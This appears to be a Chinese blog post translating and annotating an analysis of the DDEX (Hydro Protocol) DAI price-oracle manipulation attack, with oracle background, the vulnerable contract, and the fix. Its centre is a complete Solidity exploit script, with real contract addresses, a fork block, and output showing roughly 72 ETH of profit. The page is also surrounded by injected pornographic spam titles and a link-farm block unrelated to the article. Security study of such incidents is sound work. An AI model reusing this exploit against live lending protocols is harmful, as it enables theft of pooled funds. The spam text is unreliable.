<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      【文章閱讀】抵押品不足的貸款攻擊

      前言

      原文:Taking undercollateralized loans for fun and for profit

      DDEX 和 bZx 依賴鏈上去中心化價格預言機而不驗證返回的利率,使其容易受到原子價格操縱。
      本篇文章對原文的第一部分進行了翻譯并添加了注釋。

      什么是去中心化借貸

      當你申請一筆貸款時,通常需要提供某種抵押品。如果你的貸款違約,貸款人可以通過沒收抵押品來彌補自身的損失。為了確定抵押品的價值,貸方需要可靠地計算出抵押品的公平市場價值(FMV)。但是智能合約不能簡單地“知道”你試圖提供的任何抵押品的 FMV。

      為了解決這個問題,開發(fā)人員基于智能合約設計出價格預言機:接受一個代幣的地址并以所需貨幣(例如,ETH 或美元)返回該代幣的當前價格。

      價格預言機大概可以分為五類

      1. 鏈下中心化預言機

        最新價格由項目組控制的線下預言機提供

        Compound Finance 和 Synthetix 采用這種形式

      2. 鏈下去中心化預言機

        這種類型的預言機接受來自多個鏈下來源的新價格,并通過數(shù)學函數(shù)(例如平均值)合并這些值。

        Maker 采用這種形式

      3. 鏈上中心化預言機

        這種類型的預言機使用鏈上資源(例如 DEX)來確定資產的價格。但是,只有中心化應用可以觸發(fā)預言機從鏈上源讀取。

        dYdXNuo 采用這種形式

      4. 鏈上去中心化預言機

        這種類型的預言機使用鏈上資源確定資產的價格,任何人都可以更新。可能會有一些健全性檢查,以確保價格不會波動太大。

        bZx 對所有資產使用此類預言機,DDEX 只對 DAI 使用

      5. 常量預言機

        此類型的預言機只返回一個常數(shù)值,通常用于穩(wěn)定幣。

        USDC 等穩(wěn)定幣使用

      問題

      一般來說,如果價格預言機是完全去中心化的,那么攻擊者可以在特定時刻顯著地操縱價格,而滑點費用的損失很小或沒有。如果攻擊者可以使得 DeFi dApp 在價格被操縱的那一刻檢查預言機,那么可能會對系統(tǒng)造成重大損害。在下面 DDEX 和 bZx 的例子中,可以取出看似充分抵押,但實際上抵押不足的貸款。

      DDEX (Hydro Protocol)

      DDEX 是一個去中心化的交易平臺,正在向去中心化借貸發(fā)展,為他們的用戶提供建立杠桿式多空頭寸的能力。

      2019 年 9 月 9 日,DDEX 將 DAI 作為資產添加到他們的保證金交易平臺,并啟用了 ETH/DAI 市場。通過 this 合約計算 PriceOfETHInUSD / PriceOfETHInDAI 來間接計算 DAI/USD 的值。

      ETH/USD 的價格是從 Maker 預言機中讀取, ETH/DAI 的價格是從 Eth2Dai 中讀取的,或者如果買賣差價太大(大于 2%),則從 Uniswap 中讀取。

      為了觸發(fā)更新并使預言機刷新其存儲的值,用戶只需調用 updatePrice()

      源代碼此處,下面為部分相關代碼。

      function updatePrice()
      	public
      	returns (bool)
      {
      	uint256 _price = peek();
      
      	if (_price != 0) {
      		price = _price;
      		emit UpdatePrice(price);
      		return true;
      	} else {
      		return false;
      	}
      }
      
      function peek()
      	public
      	view
      	returns (uint256 _price)
      {
      	uint256 makerDaoPrice = getMakerDaoPrice();
      
      	if (makerDaoPrice == 0) {
      		return _price;
      	}
      
      	uint256 eth2daiPrice = getEth2DaiPrice();
      
      	if (eth2daiPrice > 0) {
      		_price = makerDaoPrice.mul(ONE).div(eth2daiPrice);
      		return _price;
      	}
      
      	uint256 uniswapPrice = getUniswapPrice();
      
      	if (uniswapPrice > 0) {
      		_price = makerDaoPrice.mul(ONE).div(uniswapPrice);
      		return _price;
      	}
      
      	return _price;
      }
      
      function getEth2DaiPrice()
      	public
      	view
      	returns (uint256)
      {
      	if (Eth2Dai.isClosed() || !Eth2Dai.buyEnabled() || !Eth2Dai.matchingEnabled()) {
      		return 0;
      	}
      
        // eth2daiETHAmount == 10 ether
      	uint256 bidDai = Eth2Dai.getBuyAmount(address(DAI), WETH, eth2daiETHAmount);
      	uint256 askDai = Eth2Dai.getPayAmount(address(DAI), WETH, eth2daiETHAmount);
      
      	uint256 bidPrice = bidDai.mul(ONE).div(eth2daiETHAmount);
      	uint256 askPrice = askDai.mul(ONE).div(eth2daiETHAmount);
      
      	uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE);
      
        // eth2daiMaxSpread == 2.00%
      	if (spread > eth2daiMaxSpread) {
      		return 0;
      	} else {
      		return bidPrice.add(askPrice).div(2);
      	}
      }
      
      function getUniswapPrice()
      	public
      	view
      	returns (uint256)
      {
      	uint256 ethAmount = UNISWAP.balance;
      	uint256 daiAmount = DAI.balanceOf(UNISWAP);
      	uint256 uniswapPrice = daiAmount.mul(10**18).div(ethAmount);
      
      	// uniswapMinETHAmount == 2000 ether
      	if (ethAmount < uniswapMinETHAmount) {
      		return 0;
      	} else {
      		return uniswapPrice;
      	}
      }
      
      function getMakerDaoPrice()
      	public
      	view
      	returns (uint256)
      {
      	(bytes32 value, bool has) = makerDaoOracle.peek();
      
      	if (has) {
      		return uint256(value);
      	} else {
      		return 0;
      	}
      }
      

      攻擊

      如果我們能夠大幅地控制 DAI/USD 的價格,那么我們希望抵押盡可能少的 DAI 來借出合約中的所有 ETH。我們可以通過降低 ETH/USD 的價格或者提高 DAI/USD 的價格來實現(xiàn)這一目標。本案例中選擇后者。

      為了達到提高 DAI/USD 價格的目的,我們可以通過提高 ETH/USD 價格或者降低 ETH/DAI 價格來實現(xiàn)。因為 Maker 提供 ETH/USD 的價格,而操縱 Maker (鏈下去中心化預言機)是不可能的,所以我們只能嘗試降低 ETH/DAI 的價格。

      要使得 DAI/USD 變大,ETH/USD不變,所以就只能令 ETH/DAI 的價格比值變小(也就是 DAI/ETH 的價格比值變大)

      image

      預言機會通過計算 Eth2Dai 中賣價與買價的平均值來確定 ETH/DAI 的價格。為了降低這個價格,我們需要通過促成現(xiàn)有訂單來降低當前出價,然后通過下新訂單來降低當前要價。這種方法需要大量的資產來實現(xiàn)。

      因此,我們的目標是繞過 Eth2Dai 邏輯并操縱 Uniswap 中 ETH/DAI 的價格。我們可以通過向 Uniswap 買入大量 DAI (ETH/DAI 的存量比值變大)來降低 ETH/DAI 的價格比值。

      文章中的 Uniswap 應該是指 V1 版本

      我們需要控制買賣差價的大小來繞過 Eth2Dai,有以下兩種方法:

      1. 促成訂單簿的一側的交易,而留下另一側。
      2. 通過列出極端買入或賣出訂單來強制交叉訂單簿,使得買單價格高,賣單價格低。

      但目標合約使用了 SafeMath 不允許交叉訂單簿,因此我們無法使用第二種強制交叉訂單簿的情況來使得 uint256 spread = askPrice.mul(ONE).div(bidPrice).sub(ONE); 滿足 spread > 2% 。所以我們將通過清除訂單簿的一側來強制實現(xiàn)較大的價差。這將導致 DAI 預言機選擇 Uniswap 來確定 DAI 的價格。然后,我們可以通過買入大量的 DAI 來降低 ETH/DAI 的的價格比值(ETH/DAI 的存量比值變大)。一旦 DAI/USD 的表面價值被操縱,便可實現(xiàn)攻擊。

      演示

      根據(jù)以下攻擊步驟可以獲取大概 70 ETH 的利潤

      1. 清除 Eth2Dai 的賣單,直到買賣價差大到足以讓預言機拒絕詢價
      2. 從 Uniswap 購買大量 DAI,將價格從 213DAI/ETH 降至 13DAI/ETH
      3. 以較少量 DAI 盡可能多地借入 ETH
      4. 將我們從 Uniswap 購買的 DAI 賣回 Uniswap
      5. 將我們從 Eth2Dai 購買的 DAI 賣回給 Eth2Dai
      6. 重置預言機(避免其他人使用我們的攻擊手段)
      contract DDEXExploit is Script, Constants, TokenHelper {
          OracleLike private constant ETH_ORACLE = OracleLike(0x8984F1CFf1d614a7404b0cfE97C6fa9110b93Bd2);
          DaiOracleLike private constant DAI_ORACLE = DaiOracleLike(0xeB1f1A285fee2AB60D2910F2786E1D036E09EAA8);
          
          ERC20Like private constant HYDRO_ETH = ERC20Like(0x000000000000000000000000000000000000000E);
          HydroLike private constant HYDRO = HydroLike(0x241e82C79452F51fbfc89Fac6d912e021dB1a3B7);
          
          uint16 private constant ETHDAI_MARKET_ID = 1;
          
          uint private constant INITIAL_BALANCE = 25000 ether;
          
          function setup() public {
              name("ddex-exploit");
              blockNumber(8572000);
          }
          
          function run() public {
              begin("exploit")
                  .withBalance(INITIAL_BALANCE)
                  .first(this.checkRates)
                  .then(this.skewRates)
                  .then(this.checkRates)
                  .then(this.steal)
                  .then(this.cleanup)
                  .then(this.checkProfits);
          }
          
          function checkRates() external {
              uint ethPrice = ETH_ORACLE.getPrice(HYDRO_ETH);
              uint daiPrice = DAI_ORACLE.getPrice(DAI);
              
              printf("eth=%.18u dai=%.18u\n", abi.encode(ethPrice, daiPrice));
          }
          
          uint private boughtFromMatchingMarket = 0;
          
          function skewRates() external {
              skewUniswapPrice();
              skewMatchingMarket();
              require(DAI_ORACLE.updatePrice());
          }
          
          function skewUniswapPrice() internal {
              DAI.getFromUniswap(DAI.balanceOf(address(DAI.getUniswapExchange())) * 75 / 100);
          }
          
          function skewMatchingMarket() internal {
              uint start = DAI.balanceOf(address(this));
              WETH.deposit.value(address(this).balance)();
              WETH.approve(address(MATCHING_MARKET), uint(-1));
              while (DAI_ORACLE.getEth2DaiPrice() != 0) {
                  MATCHING_MARKET.buyAllAmount(DAI, 5000 ether, WETH, uint(-1));
              }
              boughtFromMatchingMarket = DAI.balanceOf(address(this)) - start;
              WETH.withdrawAll();
          }
          
          function steal() external {
              HydroLike.Market memory ethDaiMarket = HYDRO.getMarket(ETHDAI_MARKET_ID);
              HydroLike.BalancePath memory commonPath = HydroLike.BalancePath({
                  category: HydroLike.BalanceCategory.Common,
                  marketID: 0,
                  user: address(this)
              });
              HydroLike.BalancePath memory ethDaiPath = HydroLike.BalancePath({
                  category: HydroLike.BalanceCategory.CollateralAccount,
                  marketID: 1,
                  user: address(this)
              });
              
              uint ethWanted = HYDRO.getPoolCashableAmount(HYDRO_ETH);
              uint daiRequired = ETH_ORACLE.getPrice(HYDRO_ETH) * ethWanted * ethDaiMarket.withdrawRate / DAI_ORACLE.getPrice(DAI) / 1 ether + 1 ether;
              
              printf("ethWanted=%.18u daiNeeded=%.18u\n", abi.encode(ethWanted, daiRequired));
              
              HydroLike.Action[] memory actions = new HydroLike.Action[](5);
              actions[0] = HydroLike.Action({
                  actionType: HydroLike.ActionType.Deposit,
                  encodedParams: abi.encode(address(DAI), uint(daiRequired))
              });
              actions[1] = HydroLike.Action({
                  actionType: HydroLike.ActionType.Transfer,
                  encodedParams: abi.encode(address(DAI), commonPath, ethDaiPath, uint(daiRequired))
              });
              actions[2] = HydroLike.Action({
                  actionType: HydroLike.ActionType.Borrow,
                  encodedParams: abi.encode(uint16(ETHDAI_MARKET_ID), address(HYDRO_ETH), uint(ethWanted))
              });
              actions[3] = HydroLike.Action({
                  actionType: HydroLike.ActionType.Transfer,
                  encodedParams: abi.encode(address(HYDRO_ETH), ethDaiPath, commonPath, uint(ethWanted))
              });
              actions[4] = HydroLike.Action({
                  actionType: HydroLike.ActionType.Withdraw,
                  encodedParams: abi.encode(address(HYDRO_ETH), uint(ethWanted))
              });
              DAI.approve(address(HYDRO), daiRequired);
              HYDRO.batch(actions);
          }
          
          function cleanup() external {
              DAI.approve(address(MATCHING_MARKET), uint(-1));
              MATCHING_MARKET.sellAllAmount(DAI, boughtFromMatchingMarket, WETH, uint(0));
              WETH.withdrawAll();
              
              DAI.giveAllToUniswap();
              require(DAI_ORACLE.updatePrice());
          }
          
          function checkProfits() external {
              printf("profits=%.18u\n", abi.encode(address(this).balance - INITIAL_BALANCE));
          }
      }
      
      /*
      ### running script "ddex-exploit" at block 8572000
      #### executing step: exploit
      ##### calling: checkRates()
      eth=213.440000000000000000 dai=1.003140638067989051
      ##### calling: skewRates()
      ##### calling: checkRates()
      eth=213.440000000000000000 dai=16.058419875880325580
      ##### calling: steal()
      ethWanted=122.103009983203364425 daiNeeded=2435.392672403537525078
      ##### calling: cleanup()
      ##### calling: checkProfits()
      profits=72.140629996890984407
      #### finished executing step: exploit
      */
      

      解決方法

      DDEX 部署了一個新的預言機,其中對 DAI 的價格限制在 0.95-11.05 之間。

      function updatePrice()
      	public
      	returns (bool)
      {
      	uint256 _price = peek();
      
      	if (_price == 0) {
      		return false;
      	}
      
      	if (_price == price) {
      		return true;
      	}
      
      	if (_price > maxPrice) {
      		_price = maxPrice;
      	} else if (_price < minPrice) {
      		_price = minPrice;
      	}
      
      	price = _price;
      	emit UpdatePrice(price);
      
      	return true;
      }
      
      posted @ 2022-03-29 17:56  ACai_sec  閱讀(173)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 人妻日韩人妻中文字幕| 又湿又紧又大又爽A视频男| 精品亚洲AⅤ无码午夜在线| 亚洲av成人在线一区| 久久久久噜噜噜亚洲熟女综合| 亚洲国产女性内射第一区| 国产综合色精品一区二区三区| 高台县| 日韩有码中文字幕av| 久久亚洲精品中文字幕馆| 欧美做受视频播放| 日韩中文字幕人妻精品| 日日爽日日操| 无码人妻人妻经典| 国产精品视频一区二区三区不卡| 亚洲天堂一区二区成人在线| 一区二区福利在线视频| 国产绿帽在线视频看| 国产极品精品自在线不卡| 国产成人av一区二区三区不卡| 国产特级毛片AAAAAA视频| 永安市| 成人午夜在线观看刺激| 国产99视频精品免费视频36| 日本久久高清一区二区三区毛片| 色爱av综合网国产精品| 日韩一区二区在线看精品| 干老熟女干老穴干老女人| 人人爽亚洲aⅴ人人爽av人人片| 高清不卡一区二区三区| 婷婷丁香五月激情综合| 亚洲一区二区精品极品| 国产高清在线精品一本大道| 玩弄漂亮少妇高潮白浆| 精品乱码一区二区三四五区| 国产精品免费中文字幕| 亚洲av永久无码精品水牛影视| 开心色怡人综合网站| 亚洲激情av一区二区三区| 天天躁夜夜踩很很踩2022| 国产三级精品三级在线看|